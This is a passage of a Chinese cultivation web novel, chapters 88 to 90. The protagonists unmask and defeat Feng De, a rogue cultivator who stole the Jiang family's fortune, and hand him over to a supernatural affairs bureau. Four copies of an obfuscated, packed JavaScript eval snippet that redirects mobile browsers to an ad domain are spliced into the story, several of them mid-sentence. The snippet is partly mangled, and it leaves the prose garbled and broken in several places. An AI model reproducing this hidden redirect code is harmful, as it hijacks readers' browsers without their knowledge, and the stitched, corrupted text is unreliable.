“查到最后,说是那辆赛车的零件自然松动,关键那车还是老赵儿子自己的,平时宝贝的不行,三天一小检五天一大检。” “久而久之,这两年圈子里的人都不让自家孩子接近他了。” 姜洛玉了然,直接道:“他之所以那么倒霉,是因为身上带着借运术的反噬。” “死的那些人估计是为了减轻反噬的祭品,至于他为什么非要接近我,希望我能答应他的追求……” “我怀疑,厉家借了咱们家的‘运’。” 姜景安心里咯噔一下,但却有一种‘果然如此’的感觉。 当年姜家公司蒸蒸日上,眼看着股票马上就能跌停。 与此同时,厉家起死回生,而姜家迅猛的势头一夜之间重归平静,之后一直不温不火,甚至有缩水的架势。 直到四年后,林朝盈从孤儿院接回了姜洛玉,也就是从那时起,姜家的公司又重新回到了上升期。 事情的真相已经非常明朗了。 丛明雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154941|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“爸,您当初未曾和厉家家主决裂时,对方是否做出过奇怪的举动?” 姜景安思索良久,一拍大腿:“厉仁城揪过我一根白头发!” 众人:“……?” 姜景安意识到自己的失态,有些抹不开脸:“彻底决裂前其实有一些预兆,他请我喝了最后一顿酒。” “酒过三巡他说要去厕所,回来就揪了一把我的头发,话里话外都在说我老了连白头发都长出来了,得好好保养身体。” “我当他是喝多了耍酒疯,不过见他手里确实掐着白头发,又看在十几年交情的份上,也就没再发作直接离开。” 像借运之术这种邪门的法术,无论在哪个世界都八九不离十,姜洛玉听完,当即又管姜景安要了一根头发。 假设借运之术是因为自己的到来被破坏,但它本质上仍然是存在的。 存在的东西想要躲藏,可没那么容易。 指尖跃起金色的火焰,卷上了那根细软的头发,蛋白质烧焦的糊味一瞬间充斥在整个密闭空间,几瞬后取而代之的却是扑鼻的恶臭。 “哕——” 最先干呕的是地面的钢炮。大狗极其拟人化的捂住鼻子,犹豫两秒直接用后腿站起打开了会客厅的窗户。 “啊啊啊啊!”园丁老李手一哆嗦,园艺剪下的花一命呜呼。 众人:“……” 姜林飞把狗踹了下去,对着老李笑了两下以示安慰:“钢炮最近换了个老师。” 老李一个劲儿点头,然后撒腿狂奔。 臭味消失了,空气中只剩下个悬浮的黑字“凶”。 丛明雪挥散字迹:“姜家确实被人下了借运之术,想要解除,需要找到幕后的下术之人。” 姜洛玉:“厉凌尘提到过‘大师’,想必就是他帮厉家下术的。大概率……是个邪修?” 指针指向十一点。 众人商议后,决定先在今晚的宴会除了欢迎姜洛玉的回归,还要让丛明雪以未婚夫的身份参加。 至于此前捏造出的孙子“姜烛山”,则由辰欢代为出场。 辰欢不解:“那我是从哪来的?” 姜洛玉揉了揉辰欢变成的和缩小版的“自己”,竖起两根手指:“我生的、或者我捡的。选一个吧。” “捡的捡的!”辰欢头点成了残影,实在想不出前者的画面,然后脆生生叫了姜洛玉一声“爸爸”。 姜洛玉:“……” 不适应的人变成他了。 辰欢滴溜溜转了转眼睛,果断跳下沙发,厚着脸皮又叫了丛明雪一声“爹”。 丛明雪:“……?” 辰欢丝毫不在意丛明雪的反应,又走到林朝盈面前喊了一声“奶奶”,最后又叫了姜景安一声“爷爷”。 姜洛玉听得直牙疼,传音道:“这小子不对劲儿。” 丛明雪:“龙神依托三清秘境重生,你又为三清秘境化身,说是再生父母不足为过。” “爷爷,我想开飞机。” 众人:“……?” 姜洛玉瞬间拦住牵着狗要溜回卧室的“罪魁祸首”。 “二哥,你到底和他说了些什么?!” 姜林飞:“……” 他只是说,开飞机比御剑好玩。 88.穿越第八十八天 眼看着指针还有十几分钟指向八点,厉凌尘暴躁地砸了几下车门。 “再开快点!” 司机不敢反驳,只好默默提高了速度。 “凌尘,不要急躁。” 沙哑如残烛喘息的声音从身侧飘来,厉凌尘压下快要溢出的愤怒,顶着满脸擦伤垂下头:“多谢远德大师点醒。” 说话的老人一身西装,须发尽白但精神矍铄,看着足有八九十岁。 脸上的褶子如同橘络,遮住了些许眼睛,偏生那双黑眸如鹰一般锐利,被遮上也不减威严。 远德大师从西装的口袋里摸出个巴掌大小的玉瓶,白色瓶身里灌注着暗红色的液体。 厉凌尘接过瓶子一饮而尽,被里面的臭气熏得几欲干呕,硬是敲着胸口咽了下去。 “屠夫进去了。”远德老道把玉瓶重新装回口袋,“短时间内找不到像他一样杀孽过重,能用血煞之力压制你霉运的人。” 厉凌尘猛灌了几口水,点头:“大师放心,屠夫的尾巴已经处理干净了,没人能怀疑到厉家身上。” “此行,你务必要将戒指套在姜家那小儿子手上,机会只有一次,失不再来。”远德大师语气凝重,眼睛扫过厉凌尘身上愈发浓重的黑气,“你若是失败,我也救不得你。” 厉凌尘:“可姜家背后也有能人异士,他既然能看出来我身上有术法反噬,会不会……” 远德大师:“怎么,你小子怀疑我的能力?” “晚辈不敢。”厉凌尘立马否认,可颤动的双眸却透露出——他并非全然相信面前老道的话。 姜洛玉那天的话像是一根刺,扎进了他本就摇摆不定的心脏,于是天平悄然倾斜,开始对这个祖父在世就住在厉家的“大师”产生怀疑。 诚然,这位大师有过人的神通不假。能用处一些匪夷所思的“法术”,更能帮助厉家度过生死存亡的危机。 可这些年里厉家支脉不断出事,如今几乎只剩下了主脉一条,再加上这两年每月一瓶的刀尖人血…… 厉凌尘觉得自己肯定是疯了,要不然怎么会答应用这种东西来压制几乎要他命的霉运。 他更觉得他爸疯了,当年居然能答应用什么“借运之术”。 这么多年也不知悔改,公司一出点什么事就去求远德大师,求他看在厉家供养他这么多年的份上帮帮厉家。 这是哪门子仙风道骨的大师,分明是个丧尽天良的骗子! 远德大师目不斜视,就算察觉到厉凌尘目光里的怨毒也岿然不动。 他知道厉凌尘已经发现了什么,不过已经晚了,厉家的气运早就被他揣进了怀里,只要他前脚一走,厉家马上就会家破人亡。 可惜就算厉凌尘不是傻子,他爹却是全心全意地相信自己。 远德大师可惜地长叹一声,打开了窗户,任凭晚风吹进来带走刀尖血的臭气。 当年差那么一点,他就能完全窃取到姜家的气运了。 姜家收养姜洛玉完全在他预料之外,他又无从得知姜洛玉确切的八字,算出变数究竟在哪。 远德大师只能自认倒霉,退而求其次边养伤边慢慢收敛厉家的气运。 十八年过去,厉凌尘这个容器眼看着就要不成了,也是时候,把他的东西拿回来了。 至于姜家能看出他法术的“神秘人”,他根本不在乎。 这个世界上……没有人的修为能比他更高。 瑞雅酒店,宴会厅二楼休息室。 “不许再闹了。” 姜洛玉磨了磨牙,拎着辰欢露出来的尾巴头疼,拍回去之后,用法术修补好破洞的奶油色西装。 辰欢眨眨眼,有些不好意思:“我没穿过这种衣服,有点不适应嘛。” “参加完晚宴我能去开飞机吗?” “等你这具身体成年再说。”姜洛玉弹了弹辰欢的眉心。 辰欢吐了吐舌头,跑向坐在休息区沙发上顶着黑白双色头发的少年身边:“威武三火将军,你可愿成为本神部下,随本神惩奸除恶,一统天下妖族!” 刚化形不久的钢炮习惯性“嗷呜”了一嗓子,然后才意识到自己能说话,大声道:“愿意!” 姜洛玉被扑面而来地中二气息雷得外焦里嫩,一屁股坐到丛明雪身边把玩他的头发:“没救了。” 丛明雪放下手中的地理杂志,握住姜洛玉的手。 两人穿着相似的白色修身西装,只不过在细节处有微妙的不同。 比如他的是镶嵌着黑玛瑙的银色金属袖扣,而姜洛玉的则是镶嵌着银色边框的珐琅袖扣……诸如此类。 视线从姜洛玉微收的腰线扫过,丛明雪松开手,为他整理好略显凌乱的领结。 “你觉得厉凌尘会来吗?”姜洛玉捻了捻丛明雪飘过来的发丝。 丛明雪:“极有可能。不过即使他带着‘大师’过来,也只能如丧家之犬。” 姜洛玉乐了一声,亲昵地蹭了蹭丛明雪的下巴:“说得对,我们现在修为对半分开也有化神,那大师还能是个练虚老怪不成?” —— “凭什么不让我们进去!” 厉凌尘嘶吼着,五官扭曲,即使在明亮的灯光下,看起来也冒着森森鬼气。 安保人员后背凉飕飕的,硬着头皮说:“先生抱歉,您不在受邀名单内。” 其实是在黑名单里。 不过后半句安保人员不敢说,他觉得面前的男人精神不太正常,说了没准会刺激到他脆弱的神经。 “凌尘,退下。”远德大师站到安保人员面前,黑眸划过一道白光。 安保人员一恍神,顿时弯下腰,恭恭敬敬地将邀请函递了回来,做出个“请进”的手势。 能容纳将近五百人的宴会厅里,洋溢着古典与现代碰撞的美学风格。 正中央的天花板吊着巨型水晶灯,暖色的灯光照射在下方衣着光鲜的男男女女身上。 当厉凌尘踏入宴会厅的刹那,灯光霎时间暗了下来,悠扬的古典乐换成了激昂的进行曲。 聚光灯汇聚在点缀着鲜花的旋转楼梯上,一高一矮两道身影同时出现,矮一些的青年怀里还抱着个两岁左右的幼崽。 掌声雷动,在场的所有宾客无不欢迎,无论是姜家的商业伙伴,抑或是亲朋好友。 苏琪拽了拽自家老公的衣服:“快看,玉玉今天的衣服一看就是阿盈选的!” 严赐仔细看了两眼,没看出来,问:“他旁边的是谁?混血?” 同样的疑问出现在宴会厅各个角落,但比起那个让人看一眼就会忘却的男人,他们的视线更多的汇聚在青年身上。 无数或探究、或审视或艳羡的目光,围绕着失踪两年又重归故土的青年。 姜洛玉感觉良好,对着舞台上的姜家众人笑了笑。 林朝盈对上姜洛玉带着恰到好处微笑的脸,忍不住湿润了眼眶。 还好……她的孩子没有遭受太多苦难,又回到了她的身边。 姜景安轻轻为林朝盈拭去眼角的泪水,余光瞥见台下本不该出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159196|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现的人影,神情瞬间凝重起来。 安保人员是从姜家的安保公司调过来的,底细都很干净,不会犯下如此低级的错误。 他猛地感受到一道如同秃鹰般锐利的视线。 “姜、洛、玉。” 厉凌尘喘着粗气,在看见青年的一刹那就控制不住自己的身体,几乎化作一道残影,飞奔上楼梯! “哗啦哗啦——” 正中央的吊灯发出巨响,紧接着整个宴会厅的灯都开始火花四溅,几秒后彻底失去亮光。 好在吊灯下面是舞池,此时的宾客都已落座,没人站在下面。等到众人反应过来,顿时尖叫着逃向四周的安全出口。 姜洛玉趁着黑暗把辰欢扔到舞台上保护姜父他们,用无相球幻化的长棍接住了厉凌尘的攻击。 其实也不算攻击……毕竟就算厉凌尘的身体被强化了,对他来说也和纸片一样脆弱。 “活儡?” 他看清厉凌尘脸上爬满的蚯蚓一样的黑色纹路,有些惊讶。 “小子,没想到你还挺有见识。” 东北方向传来一道年轻的男声,姜洛玉看过去,通过衣服判断出对面的年轻男人就是刚才和橘络没什么区别的老头。 修为……在元婴初期。 此时的宾客早就在安保人员疏散下全部离开,舞台上也有辰欢开着结界。 姜洛玉按住丛明雪蠢蠢欲动的手,传音道:“反派死于话多,先听听他要说什么。” “你们的师父是谁?”远德大师——或者说是冯德施展下定身术,定住了楼梯上的三人。 至于舞台上的都让他迷晕了,一会儿才能派上用场。 两人伪装的修为在练气一层,冯德如此松懈也在预料之内。 姜洛玉闻言嗤笑一声,讽刺道:“你不配知道我师尊名讳!” “我不配哈哈哈哈哈哈!” 冯德一把掐住了厉凌尘的脖子,从他后颈抽出一条血线:“我可是这世上独一无二的元婴修士,我不配?!” 血线化作红线缠绕在冯德身上,柔柔缠绕上他的指尖。 而厉凌尘趴在楼梯上生死不知。 姜洛玉:“……” “去!” “算了,他也不说什么正经的东西。”姜洛玉看透了冯德疯癫的本质,决定不再演戏。 两人对视一眼,同时释放出化神修士的威压。 冯德感受到对面二人深不可测的修为,瞪大双眼:“不、不可能!” 没有人能比他的修为更高!!! “没什么不可能。”姜洛玉一剑抽飞冯德,眉眼含笑。 “菜,就多练。” “啪——” 厉凌尘听见了泡泡破碎的声音,回过神来,发现自己不是倒在楼梯上,而是站在了宴会厅入口处。 “嗬嗬——” 像是老旧风匣的声音从身后响起,他回头,看见了眼珠混浊的远德大师。 冯德抽搐着眼角,身体从未有过的疲惫,想让厉凌尘过来拉自己一把,还没开口就被赶来的安保人员“请”了出去。 同样被“请”出去的还有厉凌尘。 听见耳机里的“收工”二字,姜洛玉脸上的笑都真诚不少。 走到舞台接过话筒,行云流水般说完致辞,又牵着手公布了和丛明雪的关系,晚宴的气氛到达了高潮。 挨桌敬酒后,两人得了空闲时间,挥别姜家众人上了二楼。 休息室里,冯德睁开了眼睛。 89.穿越第八十九天 “睡得怎么样?” 青年带着玩味的声音飘进耳朵,冯德一个激灵睁开眼睛,对上一张放大的狗脸。 姜洛玉一把推开不适应人形变回大狗的钢炮,对着冯德继续微笑:“看来不是很好。” “你不是死了么?” 沙发上的男人怪叫一声,瞬间头痛欲裂。 他明明记得自己在宴会厅已经把所有人都杀了,不仅取到了姜家的气运,还把那两个小辈的修为收入囊中。 姜洛玉接过丛明雪递来的手帕,一根一根将沾上狗毛的手指擦干净:“幻境都看不出来。你那点修为连狗都杀不死,还想杀我?” 钢炮心虚地围住吃着冰淇淋的辰欢,小声“嗷呜”了两下。 冯德刚想咒骂,余光瞥见地上的狗,瞬间偃旗息鼓。 他……竟然看不透那狗的修为! 被一只畜生打击后,冯德这才有心思观察自己现在的处境。 他被麻绳绑在靠椅上,身体里灵力全无,对面站着本该“死掉”的两个后辈,书架旁还躺着不省人事的厉凌尘。 从和宴会厅装修一致的风格里,他能猜出自己大概在二楼的休息室。 “别看了。”姜洛玉一脚揣在靠背上,让冯德转了半圈面对身后的弧形沙发。 沙发上,姜家众人不尽相同的目光死死锁定着冯德。 姜景安眉头紧蹙,难以想象对面的年轻人是刚才的白胡子“大师”。 不过据说这人也是修士,那就不难解释了。 姜林飞捞住向他要狗零食的小龙人,心情复杂地不得了。 他可是看见了冯德变脸的全过程,白色如蛛网的丝线从老人的面庞褪去,浮现出一张青年人的脸。 让人后脊生寒。 姜林廷更多的视线倒是落在了后面的厉凌尘身上。 在唤醒冯德之前,丛明雪就对他用了真言术。 厉凌尘当场就把所有谋划,包括厉家靠着大师对姜家做的事,还有为什么追求姜洛玉,以及……每个月靠一条人命才能活下去的事实。 他倒是没想到臻味阁的事还能和厉家扯上关系。 林朝盈握着姜林琬的手背,有些担心:“玉玉离得这么近,不会有什么危险吧。 ” “当然不会。”姜林琬安慰地搂住母亲的肩膀,“小弟可是渡……” 姜林琬卡壳,突然忘记了姜洛玉的境界,自信道:“反正比那老东西可厉害多了。” 冯德面露惊恐。 姜洛玉没给他脑补的机会,在他耳边打了个响指:“忏悔吧。” “什……么……” 声音灌进耳朵的刹那,冯德萎靡不振的识海像是被强行灌注进了岩浆。 滚烫的温度烫得他忍不住尖叫,可话说出口却变了意思。 “我有罪!我承认,我不是大师只是个邪修!我师从河东道人,他已经死了,死之前把窃取气运增加修为的方法传给我。” “我活了三百多年全靠吸收气运修炼!我帮厉家只是为了屏蔽天道转移身上的孽障,再通过厉家的帮助窃取姜家气运!我杀人无数,每一个死去的魂魄都被我炼制成了丹药卖给想要长生的富人……” 每说一句,冯德的脸上就显现出一丝老态,而窗外逐渐汇聚了一大片乌云,雷声滚滚。 众人本来还能面无表情,结果冯德说的话越来越没有下限。 “啪——” 姜洛玉甩了冯德一巴掌,已经老态龙钟的邪修脸颊瞬间高高肿起,涎泪四溅。 “我很好奇,你这种人到底是怎么活着的?”姜洛玉扯着冯德的头发,将其拖行到露天阳台上,“生吃活胎、人骨做坛……这样还没被雷劈死真是天道失职。” 天空的乌云又是轰隆一声,细长的雷霆劈了下来。 姜洛玉无语一瞬,拿着冯德挡了天雷,把人按在护栏上:“不过没关系,那些气运如今已经去了该去的地方。” “你也应该为自己的所作所为付出代价。” “轰隆——” 空中的乌云很应景地发出两声闷雷。 “我不要、我不要、我不要!”冯德疯狂扭动着身躯,他的确能感受到,体内的气运没了。 他现在就是个过度揉擦的纸巾,就算是碰上一点潮湿的水……也会立即粉身碎骨。 “我可决定不了。”姜洛玉用法术将人定在原地,拍拍手转身关门,回到了室内。 休息室内鸦雀无声。 外界天雷滚滚,冯德的惨叫被隔绝在外。 姜洛玉的手顿时僵在半空,意识到自己刚才的所作所为……太过“凶残”了些,十分不符合穿越之前在姜家众人面前展现出来的样子。 “玉玉。” 林朝盈的声音飘了过来,姜洛玉有些心虚地走到她身边。 “手痛不痛啊?”林朝盈捧起小儿子的手吹了吹,见上面依旧光滑如玉,甚至都没出现红痕,这才放心下来。 姜景安看了眼被劈得浑身焦黑的冯德,问道:“老幺,这人会不会被……劈死?” 姜洛玉收回手,坐到丛明雪身边:“不会的,他还得活在人间赎罪。” 单纯的天雷劈死便宜了那个王八蛋。而且这人狡兔三窝,还有几个徒弟在外,直接死了那几个同为邪修的徒弟一定会立马逃跑,留下来还能当诱饵。 于是他刚才在冯德身上留下了一点护命的灵力,让他不至于被天雷劈死,还能让雷霆的余威伴随他永生永世。 不过…… 姜洛玉有些发愁:“爸,咱们这里有什么道教协会吗?” 这么一问,姜景安倒是真想起来点什么:“你记不记得你王叔?” 姜洛玉:“被‘大师’坑害的那个?” 姜景安:“没错,当初你王叔……跳楼之后,没人为他打理后事。我刚想插手的时候,被人挡在了外面。” “警察说你王叔的身后是我现在无权插手,否则恐怕会有性命之忧。而且之后公司还来了一群神神叨叨的人,说自己是什么‘异常事务管理局’的工作人员,发生什么怪事可以给他们打电话。” “你怎么没和我们说过?”林朝盈嗔怪道,“你就没想过万一真出了什么怪事,我们连去哪求助都不知道?” 姜景安咳了咳:“我当初不是不想信这种东西么……” “电话还在吗?”姜洛玉好奇这个。 姜景安从通讯录里翻出电话打了过去。 姜洛玉接过电话。 “您好,这里是异常事务管理局北市分局,请问您需要什么帮助?” 对面传来一道很年轻且不着调的男声,还有些含糊,似乎嘴里嚼着什么东西,姜洛玉顿时脑补出对方翘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166994|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二郎腿打电话的场景。 他瞥了眼即将消散的乌云:“瑞雅酒店,有个邪修快被天雷劈死了,你们来人处理一下。” “先生请您详细……等等!你们那怎么样?有没有人员伤亡?那邪修是——” “嘟嘟嘟——” 电话□□脆挂断了。 异常事务管理局——北市分局办公室内,一脸正气的俊帅青年拿起桌子上的长剑,推门而出。 尹一寒对着外面半死不活的下属大声道:“所有队员听令!邪修作祟,马上出发去瑞雅酒店!” “是!” 孤零零的警车从市中心公安局……附近的小区跑了出来。 尹一寒擦着手里的铜剑坐在副驾驶,神情凝重。 长相清丽的女人开着车,感受到自家老大身上涌动的灵气,小声问道:“这次的邪修很难处理吗?” 要不然这人怎么沉着脸。 尹一寒擦剑的手一顿,摇头:“对面说那邪修……已经在被雷劈了。” “可是我的宝珠完全没有异动,根本没显示北市有什么极大的灵气波动或是天道现身。” 他摸了摸脖子上挂着的项链。这东西是老局长退休给他的,前段日子还有反应,按道理来说不会这么快失灵。 后座挂着黑眼圈的男人闻言有气无力道:“要是有人报假警,看我不抽他的。老子为了押送水妖已经七天没合眼了。” 车上只有他们三人。 这就是异常事务管理局北市分局的全部成员,局长尹一寒,副局长毕迅,刚从山上下来的实习生闫睿雪。 半小时车程后,三人来到了瑞雅酒店。 酒店外面风平浪静,一点也不像是什么邪修作祟、电闪雷鸣的样子。 “天眼,开!” 尹一寒用牛眼泪摸上眼皮,再睁眼,才在酒店东南角看见一小片模糊的云层。 有人开了结界。 趴在围栏上的辰欢放下拨弄冯德枯树一般的肉身的树棍,朝着坐在一起唠家常的众人挥手:“有人来啦!是三个……小不点儿。” 等到尹一寒三人跟随着侍者的引领来到宴会厅二楼时,心中忐忑,在侍者看神经病一样的眼神里握紧铜剑。 “多谢,”他说,“你可以下去了。” 侍者:“……” 造孽,这个夜班真够魔幻的。 先是二旬壮汉为爱携带八旬老人勇闯晚宴,后有道系三人组受邀进入休息室。 侍者觉得门后面一定有什么惊天大秘密,可惜他只想睡觉。 “老大怎么办?”闫睿雪捧着自己的降魔扇紧张兮兮道,“要直接破门吗?” 刚才他们通过侍者得知里面的是姜氏集团的人,其他的什么也没问出来。 但里面有普通人,直接破门……似乎不太好。 毕迅:“破个鬼,懂点礼貌好不好?你去敲门。” 闫睿雪:“……” 她记得上次一起出任务,这家伙二话不说把门砸了个稀烂。 “叩叩——” 尹一寒敲响了门。 “咔哒。” 一张迷人的狗脸出现在三人眼前。和人齐平的哈士奇靠在门把手上,蓝色的眼睛里满是热情。 钢炮自信开口:“欢迎光临。” “啊啊啊啊啊——!” 90.穿越第九十天 姜洛玉看着地面晕过去的颓丧男人,实在想不出一个练气圆满的修士为什么会怕狗。 钢炮幻化成少年的模样蹲在毕迅身边,试了试他的鼻息,如释重负:“没死没死。” 门外,尹一寒和闫睿雪僵在了原地。 无他,因为面前的青年身上的气息实在是太强了。 青年明显也是修士,虽然以他的水准看不出青年的真实修为。不过……对面的人却强到他们连抬起武器的欲望都没有。 冷汗顺着额角滑落,尹一寒刚想顶着威压开口,却看见青年露出明悟的表情。 “不好意思,忘记收敛气息了。”姜洛玉拽着钢炮往里走,“三位进来吧。” 边走还边把地上晕过去的男人用灵气抬了进来。 屋内,丛明雪正在将厉凌尘身上的霉运转移到冯德身上。这些东西原本就是冯德的。 至于他身上因为喝了刀尖血产生的煞气,以及被淡淡的阴气……那就不是他该管的了。 尹一寒僵硬地走进休息室,一眼便注意到了坐在沙发上的姜景安。 他记得这个人,当年他刚转正的时候,曾经跟着老局长处理一桩邪修改命的案子。 当事人家破人亡跳楼惨死,这人想替受害者操办后事。 不过因为受害者的尸体异变,普通人无法靠近,就将他挡在了外面。 没想到时隔多年,又见到了这人。 简单自我介绍后,尹一寒跟着姜洛玉去了露台。 这边闫睿雪把毕迅安置到沙发上后,激动地对着姜林飞打开降魔扇:“赫连华!” 赫连华是姜林飞新剧里的角色——少年将军以一敌百,最后战死沙场马革裹尸。 战死的场景看哭了一众网友,姜林飞也凭借这部作品干掉了一众新老演员喜提视帝。 姜林飞顿时挂起招牌式痞帅微笑:“需要签名吗?” 闫睿雪一个劲儿点头,又一个滑步冲向林朝盈:“女神!能给我也签个名吗?签在扇子上!” 姜林飞:“……” 姜林琬坐在旁边笑个不停。 林朝盈见黑红双色的扇子品质不凡,和无相球给她的感觉很像,有些犹豫:“亲爱的,签在上面真的没有问题吗?” 闫睿雪:“绝对没问题,我的本命法宝我说了算!不过……您得用这支笔签。” 说话间就从口袋里翻出来管理局总局新鲜出炉的二代“判官笔”。 林朝盈见正面已经有了不少圈内人的名字,心下了然。“刷刷”签完自己的名字,又把扇子递给了一脸尴尬的二儿子。 闫睿雪把扇子翻了个面:“您签这里。” 姜林飞心情舒畅地把名字签在了背面正中央的位置。 另外一边,尹一寒看见冯德的惨状后,不禁唏嘘。 可从姜洛玉口中听见了他的所作所为之后,那点唏嘘无影无踪。 姜洛玉:“他在外面还有几个招摇撞骗的弟子,修为大概在练气□□层吧,你们派人抓捕的时候小心些。” “若是想拷问的话,他身上的真言术还有一天的时间,你们带回去可以细细盘问。” 尹一寒点头,对着姜洛玉恭敬行礼:“不知前辈……师承何门?” 如今灵气衰微,修士的日子越来越难过,像对面修为如此深厚的前辈,通常情况下肯定是从大门大派里出来的,再者就是远离尘世的隐世家族。 “这不是你该知道的。”姜洛玉高深莫测道,随即有些好奇,“异常事务管理局是什么?” 见姜洛玉不知道管理局的事,于是尹一寒笃定这人是隐世家族培养出来的天才,干脆回道:“异常事务管理局的前身是修真盟,建国之后被收编,变成了管理局。” “总局位于帝都,局长是现世唯一一位金丹期的修士。” 姜洛玉点点头,刚想继续开口—— “龙!” 毕迅简直又要晕过去了,面对突然露出尾巴和龙角的辰欢,心脏狂跳。 这可是龙啊!传说中的生物,全身都能入药…… “再乱想我就杀掉你哦。”辰欢笑嘻嘻威胁道。 恐怖的威压几乎要将毕迅压碎,他强迫着自己不再去想那些冒犯面前金龙的东西,这才喘上气来。 尹一寒比毕迅的反应更加强烈,根本不敢掩盖心中惊喜。 这人到底什么来历,怎么身边还能跟着早就绝迹的金龙?! 想起灵网里发布的悬赏——“寻得金龙遗迹者,可得宝库灵物三件。” 总局宝库里的宝贝多了去,非必要不会随便开启或是下发,尹一寒眼馋许久。 没想到他今天居然遇到了金龙本龙! 丛明雪换完霉运走到姜洛玉身边,注意到尹一寒眼底的狂喜,蹙了蹙眉。 姜洛玉瞥了眼,淡淡道:“人你带走吧。” 尹一寒暂时不想走。 按照这两人高深莫测的修为,没准他前脚一走,他们就要缩地千里离开北市。 到时候说什么都晚—— “玉玉快来,钢炮怎么也长角了?” 林朝盈惊诧的声音飘过来,露台的两人同时动身。 尹一寒错愕不已,怎么姜家人对这位前辈的称呼如此……亲密? 他也没在二者身上感受到什么血脉相连的气息啊! 休息室内,又变回本体的哈士奇顶着龙角来回乱窜,还伴随着仰天长啸。 “嗷呜——!” 察觉到钢炮体内乱窜的灵力,姜洛玉一把扯开狗嘴,掏出能化解灵力暴动的天材地宝塞进去。 丛明雪紧随其后,果断斩向越长越大的龙角。 龙角就像是被劣质胶水粘上去的一样,应声而落。 “嗷呜……” 委屈巴巴的声音从足有老虎大小的哈士奇嘴里发出,众人看着它一点点缩水成了幼崽模样。 姜林飞心疼地一把抱起耷拉着脑袋的狗崽,发问:“小弟,钢炮怎么了?” 姜林廷看了看狗崽,又看了看满脸不好意思的辰欢,想起了什么。 他记得昨天回家,看见辰欢带着钢炮鬼鬼祟祟地跑出了家门。 不过因为这孩子是龙神,姜林廷也就随他去了,不过……怎么现在觉得那天的视而不见是个错误。 “从实招来,你们两个背着我干了什么‘好事’?”姜洛玉笑着蹲下身,捏住小龙人命运的后脖颈。 光是灵力暴动,还不至于让钢炮长出龙角。 辰欢心虚地对上姜洛玉黑漆漆的眼睛,果断变成小龙的形态缠上他的手臂装死。 另一边丛明雪检查完毕,头大了一圈,对着众人道:“他不仅给了钢炮龙血,还分了龙珠的力量。” “好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175315|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴动的力量被灵根吸收不少,变成幼崽状态是为了更方便养伤。” 姜洛玉:“……?” 龙珠,可以说是龙族力量的源泉。 没了龙珠的龙会逐渐失去龙身,而得到龙珠的其他物种,则会慢慢被改造成“龙”。 可前提是那些物种自身的血脉之力要强大,钢炮作为一只纯种哈士奇,有什么强大的血脉? 还是说龙神有特殊的改造方法? “对不起。”辰欢小声说道,幼嫩的声音听起来可怜兮兮的。 “我想着早一天改造,钢炮就能早一天变成龙,就先给他喝了龙血。” “我看他没有排斥的反应,就……又分给了他一点龙珠的力量。” “本来龙珠会将他的身体改造得适合今后接受龙珠,我没想到他会异变。” 实际上换做修真界的动物,成功就是成功,根本不会发生异变。 钢炮托着被龙珠摧残的身体“嗷呜”两声,口吐人言:“不怪龙神,是我答应的。” 姜洛玉知道辰欢是好心,而且现在的辰欢虽有龙神之名,心性和思考方式却实打实是小孩子。 她只好摸了两下龙头,叹了一口气:“下次做什么之前,记得和我们商量一下。” 角落,管理局三人组双手比划出了残影,上上次任务学会的手语完美解决了如今传音会被人听见的窘迫。 闫睿雪:“天哪!这位前辈怎么是姜家新找回来的小儿子?!龙神是什么,是应龙吗?应龙不是有翅膀吗?” 毕迅:“开玩笑,姜家那个小儿子才二十多岁,这人起码有筑基修为了。就是打娘胎里开始修炼,他也修不成这样!” 尹一寒:“管那么多做什么。你们说……如果我去求龙鳞,前辈能给我吗?” 两人:“……?” 毕迅:“你愿意去就去,被人打回来我可救不了你。” 闫睿雪:“老大珍重。” 他们不是不知道灵网总局的悬赏,可有贼心没贼胆。 无法确认这两个“前辈”性情如何,贸然开口被打一顿都没处说理。 尹一寒看着地面金光闪闪的龙角眸光微动,如果姜洛玉拒绝他的请求,退而求其次要龙角也不是不可以。 毕竟都是金龙的东西。 说干就干,他收起铜剑,厚着脸皮挤进姜家众人之间。 